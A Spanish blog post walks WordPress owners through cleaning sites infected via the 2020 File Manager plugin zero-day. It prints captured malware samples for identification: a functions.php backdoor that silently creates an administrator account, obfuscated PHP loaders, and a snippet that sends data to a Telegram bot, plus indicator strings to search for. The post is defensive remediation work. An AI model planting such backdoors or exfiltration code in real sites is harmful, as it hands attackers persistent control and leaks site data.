Limpia tu WordPress Infectado por Vulnerabilidad de día cero

En 2020 fui afectado por una vulnerabilidad de día cero. En este post explico los pasos que seguí y que tu también deberías seguir para limpiar wordpress de malware y cualquier otro bicho que este afectando tu página web.

¿Qué es una vulnerabilidad de día cero?

Cuando una empresa de software saca al mercado un producto con alguna brecha de seguridad de la que no son conscientes, se denomina vulnerabilidad de día cero.

Es lo que ha ocurrido con el Plugin para wordpress File Manager en su versión Pro y Gratis desde las versiones 6.0 a la 6.8. (Si buscas en google “file manager wordpress vulnerability” vas a encontrar miles de artículos al respecto).

Esto puede pasar con cualquier plugin o tema, incluso con el mismo wordpress.

Esta vulnerabilidad permite al atacante subir cualquier script y ejecutarlo en tu sitio web. Por lo que podrías tener diversos tipo de malware dependiendo de lo que decida hacer el atacante.

Debido a que esta vulnerabilidad el atacante puede infectarnos con cualquier tipo de malware hice esta guía de amplio espectro, que debería ser útil para cualquiera que haya sufrido cualquier tipo de infección de malware.

La vulnerabilidad en File Manager 6.0 a 6.8

Los desarrolladores de File Manager han creado y lanzado un parche para la vulnerabilidad, por lo que es imperativo actualizar el plugin lo antes posible. La falla de seguridad ha estado presente desde la versión 6.0 (14 de mayo de 2020) hasta la 6.8 (31 de Agosto de 2020), por lo que si usas este plugin en tu sitio con WordPress debes actualizar a la versión 6.9 de inmediato.

La falla de seguridad fue descubierta por primera vez por la empresa de seguridad Defiant, que registró ataques en más de 1.7 millones de webs  con WordPress que tenían instaladas versiones vulnerables del plugin File Manager. Y en menos de 2 semanas el número de sitios atacados ha aumentado a más de 2,6 millones y seguramente seguirá creciendo.

Posibles consecuencias de Malware en WordPress

Como ya he mencionado la naturaleza del ataque es poder subir scripts al sitio web y ejecutarlos, por lo que las consecuencias posteriores son diversas según lo que decida hacer al atacante. Si te suena algo de lo que vas a leer a continuación te recomiendo que leas toda la publicación y sigas todos los pasos hasta el final ya que los que se han saltado los pasos no les ha funcionado, y es porque cada paso es imprescindible para continuar con el siguiente.

Al día de hoy (12 de octubre) ya llevo alrededor de 50 sitios webs a los que he tenido que limpiar o ayudar a limpiar de malwares, y los problemas más comunes son:

Usuario administrador que no aparece en la Base de Datos

Casi todos los sitios afectados han reportado que a pesar de actualizar o borrar el plugin File Manager, Instalar software de seguridad, Cambiar las contraseñas y borrar archivos extraños, alguien sigue entrando y vuelve a cambiar las contraseñas de administrador o vuelve a subir malware los sitios web.

Si te haz topado con este problema la solución rápida es ir al archivo functions.php de tu tema activo y buscar al final el siguiente código:

add_action( 'init', 'ec_add_new_user');
function ec_add_new_user() {

$username = 'wpengine';
$password = 'Sasa@206';
$email_address = '[email protected]';

if ( ! username_exists( $username ) ) {
$user_id = wp_create_user( $username, $password, $email_address );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}

Este código lo que hace es crear un usuario con permisos de administrador en wordpress, donde “wpengine” es el nombre de usuario, “Sasa@206” y “[email protected]” son los datos del administrador, por lo que es posible que estos 3 datos sean diferentes.

Lo primero que debes hacer es eliminar este código, y continuar con el resto de los pasos.

Permisos de archivos y carpetas cambiados

Muchos emprendedores y novatos en esto del desarrollo web desconocen algo importante que ocurre en los archivos de una página web, y son los permisos de los archivos. Este es un tema bastante extenso de explicar que puedes profundizar aquí.

Lo normal para el 99% de las webs es que las Carpetas tengan permisos 755 y los archivos 644 (en algunos servidores 640). Eso se puede ver en el explorador de archivos del cpanel, mas o menos así:

Permisos de archivos y carpetas cambiados

Si tu web está infectada es muy probable que a todos los archivos y carpetas  le hayan cambiado los permisos a 755 o 777.

Archivos con nombres extraños que aparecen por todas partes

Una de las más graves consecuencias es la aparición de nombres extraños en las carpetas de tu sitio web. Eso es porque los atacantes están creando contenido de SPAM que posteriormente se puede indexar en google redirigiendo el tráfico hacia otras webs o hacer phising desde tu sitio web.

En cualquier caso esto es muy perjudicial para la web ya que puede entre otras cosas ser penalizada por google o mostrar mensajes de advertencia en el navegador por ser una web potencialmente riesgosa.

Si ves archivos como estos o parecidos, bienvenido al club.

archivos-con-nombres-raros

Efectos negativos para el SEO

La creación de archivos .xml puede ser una señal de alarma extrema si te importa el SEO de tu web. Esto se debe a que el atacante podría estar indexando más páginas de las que tiene tu sitio web y empezar a embasurar lo que el índice de google tiene sobre tu sitio web:

Si te ha pasado o te suena lo que la imagen de arriba mas te vale leer hasta el final. Para lograr esto basta con indexar estos archivos XML en google, incluso borrandolos pueden seguir indexando más y más. Puedes pasar horas borrando y des-indexando contenido pero al cabo de unas horas siguen apareciendo más y más resultados ¿pero cómo? pues… Reclaman tu web en GSC y empiezan a indexar sus xml.

Un desconocido que tenga acceso a GSC (Google Search Console) de tu web, puede cambiar la configuración y afectar negativamente el SEO de tu sitio web, de diferentes formas.

Por desgracia la herramienta de GSC no muestra todos los usuarios para las diferentes propiedades que puedes registrar, es decir para 1 solo dominio es posible reclamar la propiedad de 5 maneras diferentes y los usuarios se gestionan de forma independiente.

Venta de Post-patrocinados en las webs afectadas

Algunos atacantes listos, no harán nada que parezca que has sido víctima de un malware, es más lo mucho que harán es añadir cuentas de administrador adicionales sin que te des cuenta. Para ser candidatos a esto tu web tiene que tener mucho tráfico y un buen seo, ya que su objetivo no será hacer spam sino más bien vender enlaces patrocinados por unos cuantos dólares en alguna empresa de marketing de contenidos.

Curiosamente encontré que en 3 de mis webs afectadas vendían enlaces patrocinados,  obviamente estas ventas no son autorizadas por mí pero la idea es que el propietario de la web no lo sepa y por ello es que no dejan rastros sospechosos.

Esta es un de las webs de la venta de enlaces utilizada por los atacantes: https://prnews.io/sites/language/es/

Venta de Post-patrocinados en las webs afectadas

Asegúrate de no tener Administradores desconocidos en tu lista de usuarios.

Cómo detectar y eliminar malware en WordPress

En casi todos los casos podrás encontrar tanto archivos raros como archivos de wordpress modificados en cualquiera de las carpetas, el problema es indiferente de la versión de WordPress que estés usando.

  1. Podrías encontrar archivos con nombres como: “whoqzrkl.php“, “HhGFXU.php” o similares, en las carpetas de WordPress.
  2. Infección de archivos como index.php dentro de todas las carpetas de public_html o wp-config.php con fragmentos de código como este:
    /*48e33*/
    @include "\057ho\155e/\141re\144es\057pu\142li\143_h\164ml\057wp\055in\143lu\...
    /*48e33*/
  3. Infecta archivos del core de WordPress, al final de las sentencias IF colocando fragmentos como este:
    $dsdpgbs = '*t83pv-526fgx4ldk#oia7Hmyebnu\'_src';
    $lrbscxz = Array();$lrbscxz[] = $dsdpgbs[3].$dsdpgbs[26].$dsdpgbs[7]....
  4. Infecta archivos de Plugins y WordPress, al final de las sentencias IF colocando fragmentos como este:
    if (function_exists ("file_get_contents")) {
    	tratar{
    			file_get_contents ("https://api.telegram.org/xxxxxxxx:AAE1-wpQyYquqvB7wOeBzzmPafEp0d81e6c/sendMessage?chat_id=1110165405&text=". urlencode $
    			file_get_contents ("https://api.telegram.org/xxxxxxxxx:AAE1-wpQyYquqvB7wOeBzzmPafEp0d81e6c/sendMessage?chat_id=1110165405&text=". urlencode $
    	} captura (excepción $ e2) {}

    Dado que el código anterior no tiene hash ni está ofuscado, es extremadamente difícil escanearlo con un plugin de seguridad como wordfence o sucuri, por lo que se recomienda la intervención manual.

  5. Expresiones comunes que encontré en varias de las webs;
    • bajatax
    • api.telegram.org
    • $dsdpgbs
    • $lrbscxz
    • $zzpxmkz

Pasos para limpiar Malware de un WordPress Infectado

Antes que nada, es necesario que entiendas que para hacer muchas de las cosas a continuación debes tener un mínimo de conocimiento técnico, si no estas seguro, busca ayuda. Siempre haz un respaldo completo de tu web, si te equivocas o algo falla podrás deshacer los cambios.

👉Lo primero que debemos hacer es bloquear el acceso remoto a los atacantes 👈

Podríamos analizar el log del servidor y determinar cual o cuales son las Ips de los atacantes y bloquearlas pero dudo que más del 0,001% de los que lean esta publicación sepan cómo hacerlo. Así que voy a dar la solución rápida y sencilla para bloquear el acceso externo.

Paso 1: Bloquea todo el tráfico al servidor, excepto tú.

Debemos evitar la comunicación entre los atacantes y nuestro sitio web.  Por lo que conviene colocar unas líneas en nuestro .htaccess para negar el acceso a cualquiera excepto nuestra IP.

Es importante saber que versión de Apache tenemos en nuestro servidor antes de proceder.

Apache 2.2

Para servidores más viejos debemos seguir los siguientes pasos::

  1. Visita cualesmiip.com y averigua tu dirección IP.
  2. Añade al inicio de tu .htaccess lo siguiente;
    <IfModule !mod_authz_core.c>
    order deny,allow
    deny from all
    allow from 000.000.000.000 #mi casa 
    allow from 000.000.000.000 #Programador
    </IfModule>
    

    Reemplaza 000.000.000.000 por tu dirección IP. Puedes añadir más de una dirección, si estás trabajando con otras personas. De esta manera solo las IPs que tu indiques podrán acceder a tu página web.
    Bloquea-el-acceso

  3. Comprueba que tienes acceso al sitio web. Si te sale un error 500 asegurate que todo está bien escrito.
  4. Desactiva el WIFI de tu móvil (si lo estas usando), y acceder con tus datos móviles al sitio web.  Debería decirte que no tiene acceso con un mensaje en inglés que dice;
    Forbidden
    You don’t have permission to access on this server.
  5. SI UTILIZAS CLOUDFLARE: Activa el modo desarrollador y vacía la caché.

Apache 2.4

La mayoría de los servidores modernos está ejecutando la versión 2.4 para lo cual debemos seguir los siguientes pasos:

  1. Visita cualesmiip.com y averigua tu dirección IP.
  2. Añade al inicio de tu .htaccess lo siguiente;
    <RequireAny>
      Require all denied
      Require ip 000.000.000.000 #IP CASA
      Require ip 000.000.000.000 #IP Trabajo
    </RequireAny>

    Reemplaza 000.000.000.000 por tu dirección IP. Puedes añadir más de una dirección, si estás trabajando con otras personas. De esta manera solo las IPs que tu indiques podrán acceder a tu página web.

  3. Comprueba que tienes acceso al sitio web. Si te sale un error 500 asegurate que todo está bien escrito.
  4. Desactiva el WIFI de tu móvil (si lo estas usando), y acceder con tus datos móviles al sitio web.  Debería decirte que no tiene acceso con un mensaje en inglés que dice;
    Forbidden
    You don’t have permission to access on this server.
  5. SI UTILIZAS CLOUDFLARE: Activa el modo desarrollador y vacía la caché.

Listo ahora podemos empezar a trabajar en la solución. Estos pasos que acabo de mencionar los puedes aplicar para resolver cualquier tipo de problemas que tengas de infección o cuando estás por lanzar una nueva versión de tu web.

Paso 2: Reemplazar archivos infectados y borrar archivos extraños

Puede haber muchas maneras de hacer esto pero la más práctica en función resultados/tiempo, es la siguiente:

  1. Haz un respaldo completo de todos los archivos de tu sitio web y base de datos por si algo sale mal. No uses plugins, recuerda que tu web está infectada, el resultado es impredecible.
  2. ANOTA la versión de wordpress tienes instalada (lo vas a necesitar luego) y haz una lista de todos los plugins activos de tu web.
  3. Borrar todo el core de wordpress es decir, los archivos que son de wordpress, (al final hay un video donde se explica cómo se hacen los pasos 2 y 4);
    Reemplazar archivos infectados
    Ojo de no borrar los archivos subidos por el usuario:
    no borrar los archivos subidos por el usuario
    Ni tampoco el archivo wp-config.php
  4. NOTA ADICIONAL: Es mejor Borrar Plugins y Temas (plantillas), para luego restaurarlos, pero eso va depender de cada caso.
    • Si tienes una lista de todos los plugins gratis y pagos, bórralos todos, no y reemplazalos con un respaldo.
    • Lo mismo con los temas, y temas hijos.
  5. Borra todos los archivos index.php que haya en cualquier carpeta.
  6. Borra todos los archivos “.ICO“.
  7. Los archivos restantes asegúrate que tengan los permisos correctos. Es decir Archivos 644 y carpetas en 755.
  8. Revisa todas las carpetas y borrar cualquier carpeta vacía o que desconozcas su origen. En un blog encontré carpetas con permisos 777, eso quiere decir que cualquier puede escribir en ella, es decir cualquiera que conozca la existencia de la carpeta puede acceder desde internet y guardar archivos allí!.

NOTA: Ya que muchas personas han manifestado que esta es la parte más complicada de todo voy dejar un video tutorial explicando como se hace el paso 2 y 4, ya que es algo delicado y requiere tener ciertos cuidados. El video al final del post.

Paso 3: Analizar la Base de Datos

  1. Ahora que los archivos están limpios solo falta revisar la base de datos. Ve a PhpMyAdmin o utilizar el administrador de base de datos que prefieras. Abre la Base de Datos de tu sitio web.
  2. Selecciona todas las tablas y busca “<? php.
  3. Si no aparece nada has corrido con mucha suerte y tu base de datos está limpia. Caso contrario elimina cualquier código que no puedas leer fácilmente.

Paso 4: Restaurar WordPress

  1. ¿Anotaste la versión de wordpress? Bueno ahora ver a WordPress.org y descarga el paquete de instalación de esa versión. Descomprime el zip en el servidor y vuelve a reestablecer el core de wordpress.
  2. Logueate como administrador e instala y activa el plugin: Anti-Malware from GOTMLS.NET
  3. Antes de iniciar un análisis tienes que registrarte y bajar las actualizaciones. Este plugin es capaz de detectar inyecciones de código en la base de datos.
  4. Una vez finalizado cambia las contraseñas de todos los usuarios, y la contraseña de la base de datos.
  5. Si todo está bien, ahora ya puedes quitar las líneas que añadimos en el .htaccess y empezar a recibir visitas de nuevo.

Los pasos básicos para resolver esto son reemplazar todos los archivos principales de wordpress con carpetas limpias wp-admin y wp-includes y una nueva reinstalación de los plugins.

Paso 4: Opcional para el SEO

Es posible que también empieces recibir un montón de backlinks tóxicos (SEO Negativo) hacia tu web, revisa y desautoriza todos aquellos sitios web que puedan dañar la reputación de tu página. Desautoriza cualquier dominio donde indiquen que están vendiendo posts patrocinados sin tu consentimiento.

Si cualquiera de los pasos es muy complicado para tí busca ayuda. Y si no tienes a quien acudir puedes contactarme y haré lo posible para ayudarte a resolverlo.

Video explicativo al detalle del paso 2 y 4

OJO el video es sólo un fragmento de la explicación completa es necesario leer todo el post para comprender cómo se debe proceder, me han indicado que hacen lo que sale en el video sin leer la publicación y luego nada les funciona, luego leen todo siguen los pasos y recién les funciona.

 

Santos Guerra